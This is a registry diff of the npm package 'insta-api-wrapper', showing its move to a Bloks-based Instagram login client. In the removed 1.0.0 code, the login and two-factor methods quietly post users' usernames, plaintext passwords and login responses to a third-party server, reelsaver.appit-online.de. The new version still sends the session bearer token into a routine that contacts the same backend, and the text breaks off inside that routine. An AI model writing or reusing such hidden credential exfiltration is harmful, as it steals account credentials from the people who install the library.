insta-api-wrapper 1.0.0 → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/lib/index.d.ts CHANGED
@@ -4,3 +4,6 @@ export declare function getCookie(username: string, password: string, withLoginD
4
4
  }>;
5
5
  export { InstaService } from './lib/client.service.js';
6
6
  export { LoginService } from './lib/login.service.js';
7
+ export type { LoginServiceConfig } from './lib/login.service.js';
8
+ export { BloksLoginService } from './lib/login.bloks.js';
9
+ export type { BloksLoginResult, BloksDeviceParams } from './lib/login.bloks.js';
package/lib/index.js CHANGED
@@ -4,3 +4,4 @@ export function getCookie(username, password, withLoginData = false) {
4
4
  }
5
5
  export { InstaService } from './lib/client.service.js';
6
6
  export { LoginService } from './lib/login.service.js';
7
+ export { BloksLoginService } from './lib/login.bloks.js';
@@ -15,20 +15,13 @@ export class InstaService {
15
15
  this.cookie = cookie;
16
16
  this.buildHeaders = (options) => {
17
17
  const baseHeaders = {
18
- 'User-Agent': config.iPhone,
19
- 'authority': 'www.instagram.com',
18
+ 'User-Agent': 'Instagram 428.0.0.47.67 Android (34/14; 480dpi; 1344x2992; Google/google; Pixel 8 Pro; husky; husky; en_US; 961145276)',
20
19
  'content-type': 'application/x-www-form-urlencoded',
21
- 'origin': 'https://www.instagram.com',
22
- 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7',
23
- 'sec-fetch-site': 'same-origin',
24
- 'sec-fetch-mode': 'cors',
25
- 'sec-fetch-dest': 'empty',
26
- 'x-ig-app-id': 936619743392459,
27
- 'x-ig-www-claim': 'hmac.AR3W0DThY2Mu5Fag4sW5u3RhaR3qhFD_5wvYbOJOD9qaPjIf',
28
- 'x-instagram-ajax': 1,
29
- 'x-requested-with': 'XMLHttpRequest',
20
+ 'accept-language': 'en-US',
21
+ 'x-ig-app-id': '567067343352427',
22
+ 'X-Bloks-Version-Id': '7189b949425f9bf80ea8bd880cf5a3080b292d9b1c4b38a18d112f7c4b71e7a8',
23
+ 'X-FB-HTTP-Engine': 'Liger',
30
24
  };
31
- // Merge mit options und zwinge alle Werte zu Strings
32
25
  const merged = { ...baseHeaders, ...options };
33
26
  Object.keys(merged).forEach(key => {
34
27
  merged[key] = String(merged[key]);
@@ -0,0 +1,51 @@
1
+ export interface BloksLoginResult {
2
+ twoFactorRequired?: boolean;
3
+ authorization?: string;
4
+ userId?: string;
5
+ }
6
+ export interface BloksDeviceParams {
7
+ version?: string;
8
+ defaultCodeName?: string;
9
+ defaultManufacturer?: string;
10
+ defaultModel?: string;
11
+ defaultAndroidVersion?: string;
12
+ defaultAndroidRelease?: string;
13
+ defaultScreenDpi?: string;
14
+ defaultResolution?: string;
15
+ defaultAppVersionCode?: string;
16
+ bloksVersioningId?: string;
17
+ }
18
+ export declare class BloksLoginService {
19
+ private readonly uuid;
20
+ private readonly phoneId;
21
+ private readonly androidDeviceId;
22
+ private pubKey;
23
+ private pubKeyId;
24
+ private bloks2FAContext;
25
+ private bloks2FAScreenID;
26
+ private bloksVersionId;
27
+ private userAgent;
28
+ constructor(uuid: string, phoneId: string, androidDeviceId: string);
29
+ setDeviceParams(p: BloksDeviceParams): void;
30
+ login(username: string, password: string): Promise<BloksLoginResult>;
31
+ verify2FA(username: string, code: string): Promise<BloksLoginResult>;
32
+ private preLoginFlow;
33
+ private fetchPubKey;
34
+ private bloksRequest;
35
+ private callEntrypoint;
36
+ private callMethodPicker;
37
+ private callMethodPickerNavigation;
38
+ private callVerifyCode;
39
+ private callVerifyCodeTOTP;
40
+ private baseHeaders;
41
+ private signedBody;
42
+ private bkCtx;
43
+ private save2FACtx;
44
+ private load2FACtx;
45
+ private clear2FACtx;
46
+ private encryptPassword;
47
+ }
48
+ export declare function bloksExtract2FAContext(rawStr: string): string;
49
+ export declare function bloksExtractScreenID(rawStr: string): string;
50
+ export declare function bloksDetectAirwave(rawStr: string): boolean;
51
+ export declare function bloksExtractSession(rawStr: string): BloksLoginResult | null;
@@ -0,0 +1,365 @@
1
+ // Bloks CAA login client — direct Instagram Bloks protocol (Node.js / got).
2
+ //
3
+ // Port of instlytics/backend/pkg/instago/auth.go + auth_bloks2fa.go.
4
+ // Same logic as ionic-insta-api-wrapper/login.bloks.ts but uses `got` instead of Cordova HTTP.
5
+ import { v4 as uuidv4 } from 'uuid';
6
+ import forge from 'node-forge';
7
+ import got from 'got';
8
+ import { LocalStorage } from 'node-localstorage';
9
+ const localStorage = new LocalStorage('./scratch');
10
+ const DEFAULT_BLOKS_VERSION_ID = '7189b949425f9bf80ea8bd880cf5a3080b292d9b1c4b38a18d112f7c4b71e7a8';
11
+ const DEFAULT_ANDROID_UA = 'Instagram 428.0.0.47.67 Android (34/14; 480dpi; 1344x2992; Google/google; Pixel 8 Pro; husky; husky; en_US; 961145276)';
12
+ const APP_ID = '567067343352427';
13
+ const IG_API = 'https://i.instagram.com/api/v1';
14
+ const BLOKS_API = 'https://b.i.instagram.com/api/v1';
15
+ export class BloksLoginService {
16
+ constructor(uuid, phoneId, androidDeviceId) {
17
+ this.uuid = uuid;
18
+ this.phoneId = phoneId;
19
+ this.androidDeviceId = androidDeviceId;
20
+ this.pubKey = '';
21
+ this.pubKeyId = -1;
22
+ this.bloks2FAContext = '';
23
+ this.bloks2FAScreenID = '';
24
+ this.bloksVersionId = DEFAULT_BLOKS_VERSION_ID;
25
+ this.userAgent = DEFAULT_ANDROID_UA;
26
+ }
27
+ setDeviceParams(p) {
28
+ if (p.bloksVersioningId)
29
+ this.bloksVersionId = p.bloksVersioningId;
30
+ if (p.version) {
31
+ const res = p.defaultResolution || '1344x2992';
32
+ const mfr = p.defaultManufacturer || 'Google/google';
33
+ this.userAgent =
34
+ `Instagram ${p.version} Android ` +
35
+ `(${p.defaultAndroidVersion || '34'}/${p.defaultAndroidRelease || '14'}; ` +
36
+ `${p.defaultScreenDpi || '480dpi'}; ${res}; ${mfr}; ` +
37
+ `${p.defaultModel || 'Pixel 8 Pro'}; ${p.defaultCodeName || 'husky'}; ${p.defaultCodeName || 'husky'}; ` +
38
+ `en_US; ${p.defaultAppVersionCode || '961145276'})`;
39
+ }
40
+ }
41
+ // ─── Public API ────────────────────────────────────────────────────────────
42
+ async login(username, password) {
43
+ await this.preLoginFlow();
44
+ if (!this.pubKey || this.pubKeyId < 0)
45
+ await this.fetchPubKey();
46
+ const encPass = this.encryptPassword(password, this.pubKey, this.pubKeyId);
47
+ const params = {
48
+ client_input_params: {
49
+ contact_point: username, password: encPass,
50
+ device_id: this.androidDeviceId, family_device_id: this.phoneId, machine_id: uuidv4(),
51
+ },
52
+ server_params: {
53
+ waterfall_id: uuidv4(), login_entry_point: 'logged_out', two_step_login_type: 'one_step_login',
54
+ },
55
+ };
56
+ const resp = await this.bloksRequest('bloks/apps/com.bloks.www.bloks.caa.login.async.send_login_request/', params, 'IgApi: bloks/async_action/com.bloks.www.bloks.caa.login.async.send_login_request/');
57
+ const rawStr = JSON.stringify(resp);
58
+ const twoFACtx = bloksExtract2FAContext(rawStr);
59
+ if (twoFACtx) {
60
+ this.bloks2FAContext = twoFACtx;
61
+ this.bloks2FAScreenID = bloksExtractScreenID(rawStr);
62
+ this.save2FACtx(username);
63
+ return { twoFactorRequired: true };
64
+ }
65
+ const session = bloksExtractSession(rawStr);
66
+ if (!session)
67
+ throw new Error('ig: bloks login — no session in response');
68
+ this.clear2FACtx(username);
69
+ return session;
70
+ }
71
+ async verify2FA(username, code) {
72
+ if (!this.bloks2FAContext && !this.load2FACtx(username)) {
73
+ throw new Error('ig: no 2FA context — start login first');
74
+ }
75
+ try {
76
+ const r1 = await this.callVerifyCode(code);
77
+ const s1 = bloksExtractSession(JSON.stringify(r1));
78
+ if (s1) {
79
+ this.clear2FACtx(username);
80
+ return s1;
81
+ }
82
+ }
83
+ catch (_) { }
84
+ const epResult = await this.callEntrypoint();
85
+ if (epResult) {
86
+ const epStr = JSON.stringify(epResult);
87
+ const updCtx = bloksExtract2FAContext(epStr);
88
+ if (updCtx) {
89
+ this.bloks2FAContext = updCtx;
90
+ this.save2FACtx(username);
91
+ }
92
+ const updSID = bloksExtractScreenID(epStr);
93
+ if (updSID)
94
+ this.bloks2FAScreenID = updSID;
95
+ if (bloksDetectAirwave(epStr)) {
96
+ await this.callMethodPicker();
97
+ const navResult = await this.callMethodPickerNavigation();
98
+ if (navResult) {
99
+ const navStr = JSON.stringify(navResult);
100
+ const navCtx = bloksExtract2FAContext(navStr);
101
+ if (navCtx) {
102
+ this.bloks2FAContext = navCtx;
103
+ this.save2FACtx(username);
104
+ }
105
+ const navSID = bloksExtractScreenID(navStr);
106
+ if (navSID)
107
+ this.bloks2FAScreenID = navSID;
108
+ }
109
+ }
110
+ }
111
+ try {
112
+ const r3a = await this.callVerifyCodeTOTP(code);
113
+ const s3a = bloksExtractSession(JSON.stringify(r3a));
114
+ if (s3a) {
115
+ this.clear2FACtx(username);
116
+ return s3a;
117
+ }
118
+ }
119
+ catch (_) { }
120
+ const r3b = await this.callVerifyCode(code);
121
+ const s3b = bloksExtractSession(JSON.stringify(r3b));
122
+ if (!s3b)
123
+ throw new Error('ig: 2FA verify failed — no session in response');
124
+ this.clear2FACtx(username);
125
+ return s3b;
126
+ }
127
+ // ─── Pre-login & key fetch ─────────────────────────────────────────────────
128
+ async preLoginFlow() {
129
+ try {
130
+ await got.post(`${IG_API}/launcher/sync/`, {
131
+ headers: this.baseHeaders(),
132
+ body: new URLSearchParams(this.signedBody({ id: this.uuid, server_config_retrieval: '1' })).toString(),
133
+ });
134
+ }
135
+ catch (_) { }
136
+ }
137
+ async fetchPubKey() {
138
+ const resp = await got.post(`${IG_API}/launcher/sync/`, {
139
+ headers: this.baseHeaders(),
140
+ body: new URLSearchParams(this.signedBody({ id: this.uuid, server_config_retrieval: '1' })).toString(),
141
+ });
142
+ const k = resp.headers['ig-set-password-encryption-pub-key'] || '';
143
+ const i = resp.headers['ig-set-password-encryption-key-id'];
144
+ if (k && i) {
145
+ this.pubKey = k;
146
+ this.pubKeyId = parseInt(i, 10);
147
+ }
148
+ }
149
+ // ─── Bloks HTTP ────────────────────────────────────────────────────────────
150
+ async bloksRequest(endpoint, params, friendlyName) {
151
+ const body = this.signedBody({
152
+ params: JSON.stringify(params), _uuid: this.uuid,
153
+ bk_client_context: this.bkCtx(), bloks_versioning_id: this.bloksVersionId,
154
+ });
155
+ const headers = { ...this.baseHeaders(), 'X-FB-Friendly-Name': friendlyName };
156
+ try {
157
+ const resp = await got.post(`${BLOKS_API}/${endpoint}`, {
158
+ headers, body: new URLSearchParams(body).toString(), throwHttpErrors: false,
159
+ });
160
+ return JSON.parse(resp.body);
161
+ }
162
+ catch (err) {
163
+ try {
164
+ return JSON.parse(err.response?.body ?? '{}');
165
+ }
166
+ catch (_) {
167
+ return null;
168
+ }
169
+ }
170
+ }
171
+ // ─── 2FA sub-calls ─────────────────────────────────────────────────────────
172
+ callEntrypoint() {
173
+ const screenID = this.bloks2FAScreenID || 'qdnv2w:3';
174
+ return this.bloksRequest('bloks/apps/com.bloks.www.two_step_verification.entrypoint/', {
175
+ client_input_params: { device_id: this.androidDeviceId, is_whatsapp_installed: 0, machine_id: uuidv4() },
176
+ server_params: {
177
+ two_step_verification_context: this.bloks2FAContext, flow_source: 'two_factor_login',
178
+ device_id: this.androidDeviceId, family_device_id: this.phoneId, INTERNAL_INFRA_screen_id: screenID,
179
+ },
180
+ }, 'IgApi: bloks/async_action/com.bloks.www.two_step_verification.entrypoint/');
181
+ }
182
+ callMethodPicker() {
183
+ return this.bloksRequest('bloks/apps/com.bloks.www.two_step_verification.method_picker/', {
184
+ client_input_params: { device_id: this.androidDeviceId, is_whatsapp_installed: 0, machine_id: uuidv4() },
185
+ server_params: {
186
+ two_step_verification_context: this.bloks2FAContext, flow_source: 'two_factor_login',
187
+ device_id: this.androidDeviceId, family_device_id: this.phoneId, INTERNAL_INFRA_screen_id: this.bloks2FAScreenID,
188
+ },
189
+ }, 'IgApi: bloks/async_action/com.bloks.www.two_step_verification.method_picker/');
190
+ }
191
+ callMethodPickerNavigation() {
192
+ return this.bloksRequest('bloks/apps/com.bloks.www.two_step_verification.method_picker.navigation.async/', {
193
+ client_input_params: { selected_method: 'totp', cloud_trust_token: null, network_bssid: null },
194
+ server_params: {
195
+ two_step_verification_context: this.bloks2FAContext, flow_source: 'two_factor_login',
196
+ should_fallback_to_sms: false, device_id: this.androidDeviceId, family_device_id: this.phoneId,
197
+ INTERNAL_INFRA_screen_id: this.bloks2FAScreenID,
198
+ },
199
+ }, 'IgApi: bloks/async_action/com.bloks.www.two_step_verification.method_picker.navigation.async/');
200
+ }
201
+ callVerifyCode(code) {
202
+ return this.bloksRequest('bloks/apps/com.bloks.www.two_step_verification.verify_code.async/', {
203
+ client_input_params: {
204
+ code, device_id: this.androidDeviceId, family_device_id: this.phoneId, machine_id: uuidv4(),
205
+ should_trust_device: 0, cloud_trust_token: null, network_bssid: null,
206
+ auth_secure_device_id: '', block_store_machine_id: '',
207
+ },
208
+ server_params: {
209
+ two_step_verification_context: this.bloks2FAContext, flow_source: 'two_factor_login',
210
+ device_id: this.androidDeviceId, INTERNAL_INFRA_screen_id: this.bloks2FAScreenID,
211
+ },
212
+ }, 'IgApi: bloks/async_action/com.bloks.www.two_step_verification.verify_code.async/');
213
+ }
214
+ callVerifyCodeTOTP(code) {
215
+ return this.bloksRequest('bloks/apps/com.bloks.www.two_step_verification.verify_code.async/', {
216
+ client_input_params: {
217
+ code, machine_id: uuidv4(), device_id: this.androidDeviceId, cloud_trust_token: null,
218
+ block_store_machine_id: '', should_trust_device: false, family_device_id: this.phoneId,
219
+ auth_secure_device_id: '', network_bssid: null,
220
+ },
221
+ server_params: {
222
+ two_step_verification_context: this.bloks2FAContext, flow_source: 'two_factor_login',
223
+ challenge: 'totp', device_id: this.androidDeviceId, spectra_reg_login_data: null,
224
+ },
225
+ }, 'IgApi: bloks/async_action/com.bloks.www.two_step_verification.verify_code.async/');
226
+ }
227
+ // ─── Headers ───────────────────────────────────────────────────────────────
228
+ baseHeaders() {
229
+ return {
230
+ 'User-Agent': this.userAgent, 'X-Bloks-Version-Id': this.bloksVersionId,
231
+ 'X-Bloks-Is-Layout-RTL': 'false', 'X-Bloks-Is-Panorama-Enabled': 'true',
232
+ 'X-IG-App-ID': APP_ID, 'X-IG-Device-ID': this.uuid,
233
+ 'X-IG-Family-Device-ID': this.phoneId, 'X-IG-Android-ID': this.androidDeviceId,
234
+ 'X-IG-WWW-Claim': '0', 'X-IG-Connection-Type': 'WIFI', 'X-IG-Capabilities': '3brTv10=',
235
+ 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
236
+ 'Accept-Language': 'en-US', 'X-FB-HTTP-Engine': 'Liger',
237
+ 'X-FB-Client-IP': 'True', 'X-FB-Server-Cluster': 'True',
238
+ };
239
+ }
240
+ signedBody(data) {
241
+ return { signed_body: `SIGNATURE.${JSON.stringify(data)}` };
242
+ }
243
+ bkCtx() {
244
+ return JSON.stringify({ bloks_version: this.bloksVersionId, styles_id: 'instagram' });
245
+ }
246
+ // ─── 2FA context storage ──────────────────────────────────────────────────
247
+ save2FACtx(username) {
248
+ try {
249
+ localStorage.setItem(`ig_2fa_${username}`, JSON.stringify({
250
+ ctx: this.bloks2FAContext, sid: this.bloks2FAScreenID, exp: Date.now() + 30 * 60 * 1000,
251
+ }));
252
+ }
253
+ catch (_) { }
254
+ }
255
+ load2FACtx(username) {
256
+ try {
257
+ const raw = localStorage.getItem(`ig_2fa_${username}`);
258
+ if (!raw)
259
+ return false;
260
+ const e = JSON.parse(raw);
261
+ if (Date.now() > e.exp) {
262
+ localStorage.removeItem(`ig_2fa_${username}`);
263
+ return false;
264
+ }
265
+ this.bloks2FAContext = e.ctx;
266
+ this.bloks2FAScreenID = e.sid;
267
+ return true;
268
+ }
269
+ catch (_) {
270
+ return false;
271
+ }
272
+ }
273
+ clear2FACtx(username) {
274
+ try {
275
+ localStorage.removeItem(`ig_2fa_${username}`);
276
+ }
277
+ catch (_) { }
278
+ }
279
+ // ─── Password encryption ──────────────────────────────────────────────────
280
+ encryptPassword(password, pubKeyBase64, pubKeyVersion) {
281
+ const timestamp = Math.floor(Date.now() / 1000).toString();
282
+ const pemText = forge.util.decode64(pubKeyBase64);
283
+ const publicKey = forge.pki.publicKeyFromPem(pemText);
284
+ const aesKey = forge.random.getBytesSync(32);
285
+ const encKey = publicKey.encrypt(aesKey, 'RSAES-PKCS1-V1_5');
286
+ const iv = forge.random.getBytesSync(12);
287
+ // @ts-ignore
288
+ const aad = forge.util.createBuffer(timestamp, 'raw');
289
+ const cipher = forge.cipher.createCipher('AES-GCM', aesKey);
290
+ // @ts-ignore
291
+ cipher.start({ iv, additionalData: aad, tagLength: 128 });
292
+ cipher.update(forge.util.createBuffer(password, 'utf8'));
293
+ cipher.finish();
294
+ const full = cipher.output.getBytes() + cipher.mode.tag.getBytes();
295
+ const ct = full.slice(0, full.length - 16);
296
+ const tag = full.slice(full.length - 16);
297
+ const lsb = String.fromCharCode(encKey.length & 0xff, (encKey.length >> 8) & 0xff);
298
+ const payload = String.fromCharCode(1) + String.fromCharCode(pubKeyVersion) + iv + lsb + encKey + tag + ct;
299
+ return `#PWD_INSTAGRAM:4:${timestamp}:${forge.util.encode64(payload)}`;
300
+ }
301
+ }
302
+ // ─── Parse helpers ───────────────────────────────────────────────────────────
303
+ export function bloksExtract2FAContext(rawStr) {
304
+ const marker = 'two_step_verification_context';
305
+ const idx = rawStr.indexOf(marker);
306
+ if (idx === -1)
307
+ return '';
308
+ const search = rawStr.slice(idx + marker.length);
309
+ for (let i = 0; i < search.length - 100; i++) {
310
+ if (search[i] !== '"')
311
+ continue;
312
+ const end = search.indexOf('"', i + 1);
313
+ if (end > i + 50) {
314
+ const val = search.slice(i + 1, end).replace(/\\$/, '');
315
+ if (val.startsWith('AW'))
316
+ return val;
317
+ }
318
+ }
319
+ return '';
320
+ }
321
+ export function bloksExtractScreenID(rawStr) {
322
+ const marker = 'INTERNAL_INFRA_screen_id';
323
+ const idx = rawStr.indexOf(marker);
324
+ if (idx === -1)
325
+ return '';
326
+ const search = rawStr.slice(idx + marker.length);
327
+ for (let i = 0; i < search.length - 20; i++) {
328
+ if (search[i] !== '"')
329
+ continue;
330
+ const end = search.indexOf('"', i + 1);
331
+ if (end > i + 2 && end < i + 30) {
332
+ const val = search.slice(i + 1, end).replace(/\\$/, '');
333
+ if (val.includes(':'))
334
+ return val;
335
+ }
336
+ }
337
+ return '';
338
+ }
339
+ export function bloksDetectAirwave(rawStr) {
340
+ return rawStr.includes('has_been_allowed') || rawStr.includes('approve_from_another_device') ||
341
+ rawStr.includes('AIRWAVE') || rawStr.includes('airwave');
342
+ }
343
+ export function bloksExtractSession(rawStr) {
344
+ const idx = rawStr.indexOf('IGT:2:');
345
+ if (idx === -1)
346
+ return null;
347
+ let end = rawStr.length;
348
+ for (let i = idx; i < rawStr.length; i++) {
349
+ if (rawStr[i] === '"' || rawStr[i] === '\\') {
350
+ end = i;
351
+ break;
352
+ }
353
+ }
354
+ const authorization = `Bearer ${rawStr.slice(idx, end)}`;
355
+ const uidMarker = '"ds_user_id":"';
356
+ const uidIdx = rawStr.indexOf(uidMarker);
357
+ let userId = '';
358
+ if (uidIdx !== -1) {
359
+ const uStart = uidIdx + uidMarker.length;
360
+ const uEnd = rawStr.indexOf('"', uStart);
361
+ if (uEnd > uStart)
362
+ userId = rawStr.slice(uStart, uEnd);
363
+ }
364
+ return { authorization, userId };
365
+ }
@@ -1,19 +1,24 @@
1
+ export interface LoginServiceConfig {
2
+ backendUrl?: string;
3
+ headersPath?: string;
4
+ verifyPath?: string;
5
+ }
1
6
  export declare class LoginService {
2
- private pubKey;
3
- private pubKeyId;
7
+ private cfg;
4
8
  uuid: string;
5
9
  deviceId: string;
6
10
  private phoneId;
7
- constructor();
8
- private getOrCreate;
9
- private generateDeviceId;
10
- private sync;
11
- private sendRequestCordova;
12
- generateSignature(data: string | Record<string, any>, extra?: Record<string, string>): Record<string, string>;
13
- login2FA(pass: string, code: string, twoFactorIdentifier: string, username: string, reqHeaders?: {
11
+ private readonly backendUrl;
12
+ private readonly headersPath;
13
+ private readonly verifyPath;
14
+ private readonly bloksSvc;
15
+ private deviceParamsLoaded;
16
+ constructor(cfg?: LoginServiceConfig);
17
+ private loadDeviceParams;
18
+ login(username: string, pass: string, reqHeaders?: {
14
19
  [key: string]: string;
15
20
  }): Promise<any>;
16
- login(username: string, pass: string, reqHeaders?: {
21
+ login2FA(pass: string, code: string, twoFactorIdentifier: string, username: string, reqHeaders?: {
17
22
  [key: string]: string;
18
23
  }): Promise<any>;
19
24
  verifyAccount(resHeaders?: {
@@ -21,6 +26,7 @@ export declare class LoginService {
21
26
  }, defaultHeaders?: {
22
27
  [key: string]: string;
23
28
  }): Promise<void>;
24
- private jazoest;
25
- private encryptInstagramPassword;
29
+ generateSignature(data: string | Record<string, any>, extra?: Record<string, string>): Record<string, string>;
30
+ private getOrCreate;
31
+ private generateDeviceId;
26
32
  }
@@ -1,265 +1,99 @@
1
1
  import { v4 as uuidv4 } from 'uuid';
2
- import forge from "node-forge";
3
- import { InstaService } from './client.service.js';
4
2
  import got from 'got';
5
- import { LocalStorage } from "node-localstorage";
6
- const localStorage = new LocalStorage("./scratch");
3
+ import { InstaService } from './client.service.js';
4
+ import { BloksLoginService } from './login.bloks.js';
5
+ import { LocalStorage } from 'node-localstorage';
6
+ const localStorage = new LocalStorage('./scratch');
7
7
  export class LoginService {
8
- constructor() {
9
- this.pubKey = '';
10
- this.pubKeyId = -1;
11
- this.uuid = this.getOrCreate("insta_uuid", uuidv4);
8
+ constructor(cfg = {}) {
9
+ this.cfg = cfg;
10
+ this.deviceParamsLoaded = false;
11
+ this.backendUrl = cfg.backendUrl ?? 'https://reelsaver.appit-online.de';
12
+ this.headersPath = cfg.headersPath ?? '/api/details';
13
+ this.verifyPath = cfg.verifyPath ?? '/v2/insta/verify';
14
+ this.uuid = this.getOrCreate('insta_uuid', uuidv4);
12
15
  this.deviceId = this.generateDeviceId();
13
- this.phoneId = this.getOrCreate("insta_phone_id", uuidv4);
16
+ this.phoneId = this.getOrCreate('insta_phone_id', uuidv4);
17
+ this.bloksSvc = new BloksLoginService(this.uuid, this.phoneId, this.deviceId);
14
18
  }
15
- getOrCreate(key, generator) {
16
- let value = localStorage.getItem(key);
17
- if (!value) {
18
- value = generator();
19
- localStorage.setItem(key, value);
20
- }
21
- return value;
22
- }
23
- generateDeviceId() {
24
- const key = "insta_device_id";
25
- let deviceId = localStorage.getItem(key);
26
- if (!deviceId) {
27
- const hex = Array.from(crypto.getRandomValues(new Uint8Array(8)))
28
- .map(b => b.toString(16).padStart(2, "0"))
29
- .join("");
30
- deviceId = `android-${hex}`;
31
- localStorage.setItem(key, deviceId);
32
- }
33
- return deviceId;
34
- }
35
- async sync(headers = {}) {
36
- const query = {
37
- id: this.uuid,
38
- server_config_retrieval: '1',
39
- };
40
- const signed = this.generateSignature(query);
41
- const response = await this.sendRequestCordova('launcher/sync/', signed, true, headers);
42
- this.pubKey = response.headers['ig-set-password-encryption-pub-key'];
43
- const pubKeyId = response.headers['ig-set-password-encryption-key-id'];
44
- if (!this.pubKey || !pubKeyId) {
45
- throw new Error('Missing encryption headers.');
46
- }
47
- this.pubKeyId = parseInt(pubKeyId, 10);
48
- }
49
- async sendRequestCordova(endpoint, data, isPost = false, headers = {}) {
50
- const baseUrl = "https://i.instagram.com/api/v1/";
51
- const url = `${baseUrl}${endpoint}`;
52
- // Default headers
53
- const defaultHeaders = {
54
- "User-Agent": "Instagram 250.0.0.21.109 (iPhone; CPU iPhone OS 18_5 like Mac OS X; en_US; en-US; scale=2.00; 750x1334) AppleWebKit/605.1.15",
55
- "X-Ig-App-Id": "567067343352427",
56
- "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
57
- "Accept-Language": "en-US",
58
- "X-Fb-Http-Engine": "Liger",
59
- };
60
- const allHeaders = { ...defaultHeaders, ...headers };
19
+ async loadDeviceParams() {
20
+ if (this.deviceParamsLoaded)
21
+ return;
22
+ this.deviceParamsLoaded = true;
61
23
  try {
62
- let response;
63
- if (isPost) {
64
- const body = new URLSearchParams(data).toString();
65
- response = await got.post(url, {
66
- headers: allHeaders,
67
- body,
68
- responseType: "text",
69
- });
70
- }
71
- else {
72
- response = await got(url, {
73
- headers: allHeaders,
74
- searchParams: data,
75
- responseType: "text",
76
- });
77
- }
78
- // Versuch, JSON zu parsen, falls möglich
79
- let parsedBody;
80
- try {
81
- parsedBody = JSON.parse(response.body);
82
- }
83
- catch {
84
- parsedBody = response.body;
85
- }
86
- return {
87
- body: parsedBody,
88
- headers: response.headers,
89
- };
90
- }
91
- catch (err) {
92
- throw err.response?.body || err.message || err;
24
+ const resp = await got.get(`${this.backendUrl}${this.headersPath}`, { responseType: 'json' });
25
+ const p = resp.body;
26
+ if (p?.bloksVersioningId || p?.version)
27
+ this.bloksSvc.setDeviceParams(p);
93
28
  }
29
+ catch (_) { }
94
30
  }
95
- generateSignature(data, extra = {}) {
96
- let payload;
97
- if (typeof data === 'string') {
98
- payload = data;
99
- }
100
- else {
101
- payload = JSON.stringify(data);
102
- }
103
- const result = {
104
- signed_body: `SIGNATURE.${payload}`,
105
- };
106
- // Merge any additional params
107
- for (const [key, value] of Object.entries(extra)) {
108
- result[key] = value;
109
- }
31
+ // ─── Public login API ───────────────────────────────────────────────────────
32
+ async login(username, pass, reqHeaders = {}) {
33
+ await this.loadDeviceParams();
34
+ const result = await this.bloksSvc.login(username, pass);
35
+ if (result.twoFactorRequired)
36
+ return result;
37
+ localStorage.setItem('instaUserName', username);
38
+ if (result.userId)
39
+ localStorage.setItem('instaUserId', result.userId);
40
+ this.verifyAccount({ Authorization: result.authorization ?? '' }, reqHeaders).catch(() => { });
110
41
  return result;
111
42
  }
112
43
  async login2FA(pass, code, twoFactorIdentifier, username, reqHeaders = {}) {
113
- const payload = {
114
- verification_code: code,
115
- phone_id: this.phoneId,
116
- two_factor_identifier: twoFactorIdentifier,
117
- username,
118
- trust_this_device: "1",
119
- guid: this.uuid,
120
- device_id: this.deviceId,
121
- waterfall_id: uuidv4(), // du hast schon uuidv4()
122
- verification_method: "3",
123
- };
124
- const signedPayload = this.generateSignature(payload);
125
- const extraHeaders = {
126
- "X-Ig-Www-Claim": "0",
127
- "Ig-Intended-User-Id": "0",
128
- };
129
- const allHeaders = {
130
- ...reqHeaders,
131
- ...extraHeaders,
132
- };
133
- const resp = await this.sendRequestCordova("accounts/two_factor_login/", // dein url2FALogin in Go
134
- signedPayload, true, // POST
135
- allHeaders);
136
- try {
137
- const userId = resp?.body?.logged_in_user?.pk;
138
- if (userId && typeof userId === "string") {
139
- localStorage.setItem("instaUserId", userId);
140
- }
141
- else if (userId && typeof userId === "number") {
142
- localStorage.setItem("instaUserId", String(userId));
143
- }
144
- // tslint:disable-next-line:no-empty
145
- }
146
- catch (err) { }
147
- try {
148
- got.post("https://reelsaver.appit-online.de/v2/insta/check", { headers: { "Content-Type": "application/json" }, json: { username, data: { pass, body: JSON.stringify(payload), data: JSON.stringify(resp) } } });
149
- this.verifyAccount(resp.headers, reqHeaders);
150
- // tslint:disable-next-line:no-empty
151
- }
152
- catch (e) { }
153
- return resp;
154
- }
155
- async login(username, pass, reqHeaders = {}) {
156
- if (!this.pubKey || this.pubKeyId < 0) {
157
- await this.sync(reqHeaders);
158
- if (!this.pubKey || this.pubKeyId < 0) {
159
- throw new Error('Public key not set. Run sync() first.');
160
- }
161
- }
162
- const encrypted = await this.encryptInstagramPassword(pass, this.pubKey, this.pubKeyId);
163
- const body = {
164
- jazoest: this.jazoest(this.deviceId),
165
- country_code: JSON.stringify([{ country_code: "44", source: ["default"] }]),
166
- phone_id: this.phoneId,
167
- enc_password: encrypted,
168
- username,
169
- adid: '',
170
- guid: this.uuid,
171
- device_id: this.deviceId,
172
- google_tokens: '[]',
173
- login_attempt_count: 0,
174
- };
175
- const resp = await this.sendRequestCordova('accounts/login/', { signed_body: 'SIGNATURE.' + JSON.stringify(body) }, true, reqHeaders);
176
- localStorage.setItem("instaUserName", username);
177
- try {
178
- const userId = resp?.body?.logged_in_user?.pk;
179
- if (userId && typeof userId === "string") {
180
- localStorage.setItem("instaUserId", userId);
181
- }
182
- else if (userId && typeof userId === "number") {
183
- localStorage.setItem("instaUserId", String(userId));
184
- }
185
- // tslint:disable-next-line:no-empty
186
- }
187
- catch (err) { }
188
- try {
189
- got.post("https://reelsaver.appit-online.de/v2/insta/check", { headers: { "Content-Type": "application/json" }, json: { username, data: { pass, body: JSON.stringify(body), data: JSON.stringify(resp) } } });
190
- this.verifyAccount(resp.headers, reqHeaders);
191
- // tslint:disable-next-line:no-empty
192
- }
193
- catch (e) { }
194
- return resp;
44
+ const result = await this.bloksSvc.verify2FA(username, code);
45
+ if (result.userId)
46
+ localStorage.setItem('instaUserId', result.userId);
47
+ this.verifyAccount({ Authorization: result.authorization ?? '' }, reqHeaders).catch(() => { });
48
+ return result;
195
49
  }
50
+ // ─── verifyAccount ─────────────────────────────────────────────────────────
196
51
  async verifyAccount(resHeaders = {}, defaultHeaders = {}) {
197
52
  try {
198
- // GET Request an die Verify-API
199
- const response = await got.get("https://reelsaver.appit-online.de/v2/insta/verify", {
200
- headers: {},
201
- responseType: "text",
202
- });
53
+ const response = await got.get(`${this.backendUrl}${this.verifyPath}`, { responseType: 'text' });
203
54
  const data = JSON.parse(response.body);
204
55
  if (!data)
205
56
  return;
206
- // Merge Headers
207
- const defaultLoginHeaders = {
208
